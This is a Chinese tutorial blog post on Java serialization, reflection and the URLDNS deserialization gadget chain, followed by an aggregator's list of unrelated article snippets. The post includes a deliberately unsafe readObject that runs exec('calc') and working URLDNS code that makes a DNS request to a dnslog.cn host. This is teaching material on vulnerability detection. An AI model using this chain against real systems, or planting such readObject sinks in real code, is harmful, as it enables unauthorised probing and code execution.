【JAVA反序列化】序列化与反序列化Java反射URLDNS链

news2025/1/13 14:23:41

文章目录

  • 原生序列化与反序列化
    • 概述
      • 为什么需要序列化和反序列化?
      • 应用场景(涉及到将对象转换成二进制,序列化保证了能够成功读取到保存的对象)
      • 涉及的协议
      • 好处
      • 为什么会产生反序列化漏洞?
      • 可能反序列化的形式?
      • 代码演示
  • Java反射
    • 基础补充
      • 获取Class类对象的三种方式
      • Class类获取构造方法对象的方法
      • Constructor类用于创建对象的方法
      • Class类获取成员变量对象的方法
      • Field类用于给成员变量赋值的方法
      • Class类获取成员方法对象的方法
      • Method类用于执行方法的方法
    • 代码演示
  • URLDNS链
    • 序列化原生代码
    • 反序列化原生代码
  • 参考

原生序列化与反序列化

  • 序列化:JAVA对象转换成字节序列的过程;将数据分解为字节流,以便存储在文件中或在网络上传输;用一个字节序列表示一个对象,该字节包含对象的数据、对象的类型、对象的存储属性。字节序列写出到文件后,相当于可以持久保存了一个对象信息,这过程叫做序列化。序列化对象会通过ObjectOutputStream的writeObject方法将一个对象写入到文件中。序列化对象会通过ObjectOutputStream的writeObject方法将一个对象写入到文件中
  • 反序列化:字节序列恢复成JAVA对象的过程;打开字节流并重构对象,反序列化是使用了readObject 方法进行读取并还原成在序列化前的一个类

概述

为什么需要序列化和反序列化?

  • 当两个进程进行远程通讯时需要Java序列化与反序列化(可以相互发送各种数据,包括文本、图片、音频、视频等)
  • 发送方需要把这个Java对象转换成字节序列(二进制序列的形式),然后在网络上传送,另一方面,接收方需要从字节序列中恢复出Java对象

应用场景(涉及到将对象转换成二进制,序列化保证了能够成功读取到保存的对象)

  • 想把内存中的对象保存到一个文件中或者数据库中时候
  • 想用套接字在网络上传送对象的时候
  • 想通过RMI传送对象的时候

涉及的协议

  • XML&SOAP:XMl是一种常用的序列化与反序列化协议,具有跨机器、跨语言等优点,SOAP(Simple Object Access
    Protocol)是一种被广泛应用的,基于XML为序列化和反序列化的结构化消息传递协议
  • JSON(JavaScript Object Notation)
  • Protobuf:Protobuf是Google开发的一种二进制序列化协议。它使用结构化的消息定义语言来定义数据结构,并提供了高效的序列化和反序列化功能。Protobuf通常用于高性能和高效的数据传输,适用于大规模的数据交换和存储

好处

  • 实现数据的持久化,通过序列化可以吧数据永久地保存到硬盘上(通常存放在文件里)
  • 利用序列化实现远程通信,即在网络上传送对象的字节序列

只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列

为什么会产生反序列化漏洞?

只要服务的反序列化数据,客户端传递类的readObject中的戴拿会自动执行,给予攻击者在服务器上运行代码的能力

可能反序列化的形式?

  1. 入口类的readObject直接调用危险方法
  2. 入口类参数中包含可控类,该类有危险方法readObject师调用
  3. 入口类参数中包含可控类,该类有调用其他有危险方法的类,readObject时调用
  4. 构造函数/静态代码块等类加载时隐式执行

共同条件

  • 入口类 source(重新readObject 调用常见函数 参数类型宽泛 最后jdk自带)
  • 调用链 gadget chain 相同名称 相同类型
  • 执行类sink (rce ssrf写文件等等)

代码演示

定义常规Person类 需要实现Serializable接口(空接口 无抽象方法 用于标记类型,表示Person对象属于特定的类型或具有特定的特征(可序列化的类))
在这里插入图片描述
Person类中含有执行系统命令的方法
在这里插入图片描述

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }

这里模拟类恶意反序列化对象:假如反序列化的数据是可控的
该方法在反序列化过程中被调用,并且假设使用了默认的反序列化逻辑 ois.defaultReadObject()。然后,它使用 Runtime.getRuntime().exec(“calc”) 执行了一个命令

对Person对象进行序列化处理

public class serialize{
    public static void serializeTest(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));	//创建一个 ObjectOutputStream 对象 oos,接受一个 FileOutputStream 对象作为参数,用于指定序列化数据的输出文件。
        oos.writeObject(obj);	//调用 oos.writeObject(obj) 方法,将传入的对象 obj 进行序列化,并将序列化后的数据写入到文件中。
    }
    public static void main(String[] args) throws IOException {
        Person person = new Person("admin",21);
        System.out.println(person);
        serializeTest(person);
    }
}

在这里插入图片描述
Person{username=‘admin’, age=21}是序列化前的Person对象输出

对Person对象进行反序列化

public class unserialize {
    public static Object unserializeTest(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));//创建一个 ObjectInputStream 对象 ois,接受一个 FileInputStream 对象作为参数,用于指定从文件中读取序列化数据。
        Object obj = ois.readObject();//调用 ois.readObject() 方法,从文件中读取序列化的对象,并将其赋值给 Object 类型的变量 obj
        return obj;
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Person person = (Person)unserializeTest("ser.bin");
        System.out.println(person);
    }
}

反序列化后执行系统命令
在这里插入图片描述

Java反射

是指在运行时去获取一个类的变量和方法信息。然后通过获取到的信息来创建对象,调用方法的一种机制。由于这种动态性,可以极大的增强程序的灵活性,程序不用在编译期就完成确定,在运行期仍然可以扩展
让java具有动态性 修改已有对象的属性 动态生成对象 动态调用方法 操作内部类和私有方法

在反序列化漏洞中的应用

  • 定制需要的对象
  • 通过invoke调用除了同名函数之外的函数
  • 通过Class类创建对象,引入不能序列化的类

基础补充

获取Class类对象的三种方式

//调用对象的getClass()方法,返回该对象所属类对应的Class对象
//使用Class类中的静态方法forName(String className)
//使用类的class属性来获取该类对应的Class对象
        Person person = new Person();
        //反射就是操作Class
        Class<? extends Person> c = person.getClass();	//对象名.getClass()方法
        Class<?> c1 = Class.forName("top.whgojp.domain.Person"); //Class.forName(全类名)方法
        Class<Person> c2 = Person.class;	//类名.class属性

Class类获取构造方法对象的方法

方法名说明
Constructor<?>[] getConstructors()返回所有公共构造方法对象的数组
Constructor<?>[] getDeclaredConstructors()返回所有构造方法对象的数组
Constructor getConstructor(Class<?>… parameterTypes)返回单个公共构造方法对象
Constructor getDeclaredConstructor(Class<?>… parameterTypes)返回单个构造方法对象

Constructor类用于创建对象的方法

方法名说明
T newInstance(Object…initargs)根据指定的构造方法创建对象

Class类获取成员变量对象的方法

方法名说明
Field[] getFields()返回所有公共成员变量对象的数组
Field[] getDeclaredFields()返回所有成员变量对象的数组
Field getField(String name)返回单个公共成员变量对象
Field getDeclaredField(String name)返回单个成员变量对象

Field类用于给成员变量赋值的方法

方法名说明
voidset(Object obj,Object value)给obj对象的成员变量赋值为value

Class类获取成员方法对象的方法

方法名说明
Method[] getMethods()返回所有公共成员方法对象的数组,包括继承的
Method[] getDeclaredMethods()返回所有成员方法对象的数组,不包括继承的
Method getMethod(String name, Class<?>… parameterTypes)返回单个公共成员方法对象
Method getDeclaredMethod(String name, Class<?>… parameterTypes)返回单个成员方法对象

Method类用于执行方法的方法

方法名说明
Objectinvoke(Object obj,Object… args)调用obj对象的成员方法,参数是args,返回值是Object类型

代码演示

    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchFieldException {
//        Person person = new Person();
        //反射就是操作Class
        Class<Person> c2 = Person.class;

        //从原型class里面实例化对象
        Constructor<? extends Person> personconstructor = c2.getConstructor(String.class, int.class);
        Person p = (Person) personconstructor.newInstance("admin",22);
        System.out.println(p);
        //获取类里面属性
        Field agefield = c2.getDeclaredField("age");
        agefield.setAccessible(true);
        agefield.set(p,33);
        System.out.println(p);
        Field usernamefield = c2.getField("username");
        usernamefield.set(p,"whgojp");
        System.out.println(p);
        //调用类里面的方法
        System.out.println("---------------");
        Method test1 = c2.getMethod("test1");
        System.out.println(test1);  //共有方法 无参

        Method test2 = c2.getDeclaredMethod("test2",String.class);
        test2.setAccessible(true);
        test2.invoke(p,"whgojp");
        System.out.println(test2);  //私有方法 并传参
    }

在这里插入图片描述

URLDNS链

URLDNS链的利用效果是只能触发一次dns请求,而不能去执行命令。适用于漏洞验证,而且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法。
在一些漏洞利用没有回显的时候,我们也可以使用到该链来验证漏洞是否存在

序列化原生代码

public class serialize {
    public static void serializeTest(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
        //raw 未修改hashCode值,序列化过程中也会触发dnslog请求
/*       URL url = new URL("http://URLDNStest.r8hzba.dnslog.cn");
        hashMap.put(url, 1);*/

        //将url对象的hashcode改为不是-1
        HashMap<URL, Integer> hashMap = new HashMap<>();
        URL url = new URL("http://test.n4p7aw.dnslog.cn");
        Class<? extends URL> c = url.getClass();
        Field hashCodeField = c.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url, 1234);
        hashMap.put(url, 1);

        //通过反射,改变URL对象属性 hashCode=-1
        hashCodeField.set(url,-1);

        serializeTest(hashMap);
    }
}

实际上正常在序列化过程中,传入dnslog地址也会有数据回显,因为在序列化过程中同时也调用了hashCode(hashCode传入初始值为-1,也会触发dnslog。图中注释部分与前面讲的JAVA反射技术就是为了动态修改url.Class类中初始hashCode的值,使其不为-1,以避免在探测漏洞时产生误报)
在这里插入图片描述
在这里插入图片描述

反序列化原生代码

由于pom依赖问题,ysoserial未调试成功 emmm……
这里使用的是最原生的反序列化方法

public class unserialize {
    public static Object unserializeTest(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        System.out.println(obj);
        return obj;
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        unserializeTest("ser.bin");
    }
}

得到序列化对象之后,预期效果是反序列化触发dns请求,用于验证漏洞存在
序列化工具链

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

在这里插入图片描述

在这里插入图片描述
反序列化中hashCode为-1
在这里插入图片描述
调用getHostAddress、getHost等网络协议触发dnslog请求
在这里插入图片描述
在这里插入图片描述

URLDNS链

HashMap.readObject() ->  HashMap.putVal() -> HashMap.hash() 
-> URL.hashCode()->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName

由于第一次接触反序列化链,未免有些地方写的不对,未完待续……

参考

https://blog.csdn.net/mocas_wang/article/details/107621010
https://www.cnblogs.com/nice0e3/p/13772184.html
https://space.bilibili.com/2142877265

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/679349.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java try-catch块

Java的try块用于封装可能会抛出异常的代码。它必须在方法内部使用。 如果在try块中的特定语句处发生异常&#xff0c;后续的代码块将不会执行。因此&#xff0c;建议不要在try块中放置不会抛出异常的代码。 Java的try块必须后跟catch块或finally块。 Java try-catch语法 try…

JDBC ResultSet源码解读

通过Debug方式看下源码&#xff1a; 1.Debug程序&#xff0c;找到返回的 ResultSet 的引用 2. 查看ResultSet中的rowData 3. 查看 rows 我们可以看到rows是一个数组&#xff0c;里面存放了我们查询得到的数据&#xff08;我的表中一共7条数据&#xff09;。 4. 查看rows中的元…

【总结】网页状态码——200、302、304、400、404、405、500

200正常 500异常–服务器异常Java代码 细节&#xff1a;null和空&#xff0c;null调用方法会出现空指针异常 400异常----传参相关的异常 get方法长度限制 400异常&#xff0c;加了RequestParam(value “name”) 必须传值 400异常&#xff0c;后端类型是Integer&#xff0c…

c# 基于微信wechat_qrcode opencv插件,网络二维码图片批量识别(一)

一、基本概念 微信开源了其二维码的解码功能&#xff0c;并贡献给 OpenCV 社区。其开源的 wechat_qrcode 项目被收录到 OpenCV contrib 项目中。从 OpenCV 4.5.2 版本开始&#xff0c;就可以直接使用。 该项目 github 地址&#xff1a; https://github.com/opencv/opencv_contr…

中国电子学会2023年05月份青少年软件编程C++等级考试试卷二级真题(含答案)

一、编程题(共5题&#xff0c;共100分) 1. 数字放大 给定一个整数序列以及放大倍数x&#xff0c;将序列中每个整数放大x倍后输出。 时间限制&#xff1a;1000 内存限制&#xff1a;65536 【输入】 包含三行&#xff1a; 第一行为N&#xff0c;表示整数序列的长度(N ≤ 100)&a…

yandex地图js学习

由于百度地图在国外的某些寻路的场景不太完善&#xff0c;所以试用了一下俄罗斯的开源地图。同google地图一样&#xff0c;规划路线需要申请apikey&#xff0c;但无需绑定信用卡&#xff0c;每天的免费调用次数也非常够用。 yandex maps开发文档 申请apikey 只需要创建账号&…

5.5.4 从IPv4到IPv6过渡——双协议栈

5.5.4 从IPv4到IPv6过渡——双协议栈 与软件版本更新不同&#xff0c;IP协议版本的更新不可能在短时间内完成&#xff0c;只能够采用逐步演进的方法&#xff0c;也就是说在很长一段时间内&#xff0c;必须允许两种协议的网络并存&#xff0c;并且能够确保网络能够互联互通&…

C++11语法杂记(更新中)

文章目录 一. delctype二. default三. delete四. 可变参数模板五. emplace系列六. noexcept七. constexpr 一. delctype delctype和auto类似&#xff0c;也可以自动识别类型 举例如下&#xff1a; 与auto不同的是&#xff0c;auto只能用于定义变量类型&#xff0c;而decltyp…

查看ResultSet中的rowData

之前的dml语句都返回值都是int表示有改动的行数 那么Select可是要展示数据的 SELECT查询的结果 通过这个ResultSet遍历 然后通过next方法来一行行读取数据 类似于迭代器(肯定不是迭代器) 里面还包含获得的数据元素 相当于这个既包含元素&#xff0c;还能迭代自己的元素 具体你…

MySQL——DQL,DCL语言学习

作者简介&#xff1a;一名云计算网络运维人员、每天分享网络与运维的技术与干货。 座右铭&#xff1a;低头赶路&#xff0c;敬事如仪 个人主页&#xff1a;网络豆的主页​​​​​​ 前言 本章将会讲解MySQLDQL&#xff0c;DCL语言的学习。 一.DQL DQL 英文全称是 Data …

全志V3S嵌入式驱动开发(五种镜像烧入的方法)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 关于v3s的镜像烧入&#xff0c;大约有五种方法。前面陆陆续续已经介绍了三种方法&#xff0c;实际工作中具体使用哪一种&#xff0c;大家可以根据自…

SpringBoot 监控与管理的主要组件

SpringBoot 监控与管理的主要组件 SpringBoot作为一款开箱即用的Java Web开发框架&#xff0c;集成了很多方便开发者使用的组件。其中一个非常重要的组件就是监控与管理组件。在现代的分布式应用中&#xff0c;监控与管理已经成为了必不可少的一部分。SpringBoot提供了一些非常…

指针与数组--动态数组(1)[1、C程序的内存映像 2、动态内存分配]

目录 一、C程序的内存映像 二、动态内存分配 1、malloc&#xff08;&#xff09;函数 2、calloc&#xff08;&#xff09;函数 3、free&#xff08;&#xff09;函数 4、realloc&#xff08;&#xff09;函数 一、C程序的内存映像 一个编译后的C程序 获得并使用4块在逻辑上不…

vue+leaflet 使用js自定义封装动画marker样式点

效果图 1. 引入leaflet import L from leaflet2. 使用原生js实现 import L from leaflet; import ../assets/css/blinkmarker.css; L.blinkMarker (point, property) > {// 使用js标签,便于操作,这个temDivEle的作用是将divEle通过innerHTML的方式获取为字符串var temp…

Nacos 打通 CMDB 实现就近访问

博主介绍&#xff1a;✌全网粉丝4W&#xff0c;全栈开发工程师&#xff0c;从事多年软件开发&#xff0c;在大厂呆过。持有软件中级、六级等证书。可提供微服务项目搭建与毕业项目实战、定制、远程&#xff0c;博主也曾写过优秀论文&#xff0c;查重率极低&#xff0c;在这方面…

小程序 体验版 快速配置https服务接口 - 项目是nodeJS配置本地https服务,不用下载源码不用付费,直接使用Git的openssh功能(亲测有效)

背景 学习网易云音乐小程序开发&#xff0c;用了老师的node JS做后端服务器&#xff0c;上线小程序体验版必须要https接口。 接下来就是配置NodeJs服务https踩的坑跟发现的惊喜。 配置https 下载与配置 密钥生成 1 运行命令 &#xff1a; openssl genrsa -out privatekey.p…

BST有缺陷--红黑树(RBT)应运而生

1.首先介绍一下什么是BST&#xff08;二叉查找树&#xff09; 若其左子树非空&#xff0c;则左子树上所有节点的值都小于根节点的值若其右子树非空&#xff0c;则右子树上所有节点的值都大于根节点的值其左右子树都是一棵二叉查找树二叉排序树通过中序遍历可以得到递增序列 如下…

技能树-网络爬虫-selenium

文章目录 前言一、selenium二、selenium 测试用例总结 前言 大家好&#xff0c;我是空空star&#xff0c;本篇给大家分享一下《技能树-网络爬虫-selenium》。 一、selenium Selenium是web自动化测试工具集&#xff0c;爬虫可以利用其实现对页面动态资源的采集&#xff0c;对于…

一位老程序员的忠告:别想着靠技术生存一辈子

注&#xff1a;本文系转载。 笔者目前是自己单干&#xff0c;但此前有多年在从事软件开发工作&#xff0c;回头想想自己&#xff0c;特别想对那些初学JAVA/DOT、NET技术的朋友说点心里话&#xff0c;希望我们的体会多少能给你们一些启发。 一、 在一个地方工作8小时就是“穷”…

Python多线程与多进程教程:全面解析、代码案例与优化技巧

文章目录 引言多线程多线程概述案例1&#xff1a;使用多线程实现并发下载文件案例2&#xff1a;使用多线程处理CPU密集型任务 使用threading模块案例1&#xff1a;自定义线程类并启动线程案例2&#xff1a;使用锁保护共享资源 线程同步与互斥案例&#xff1a;使用锁实现线程安全…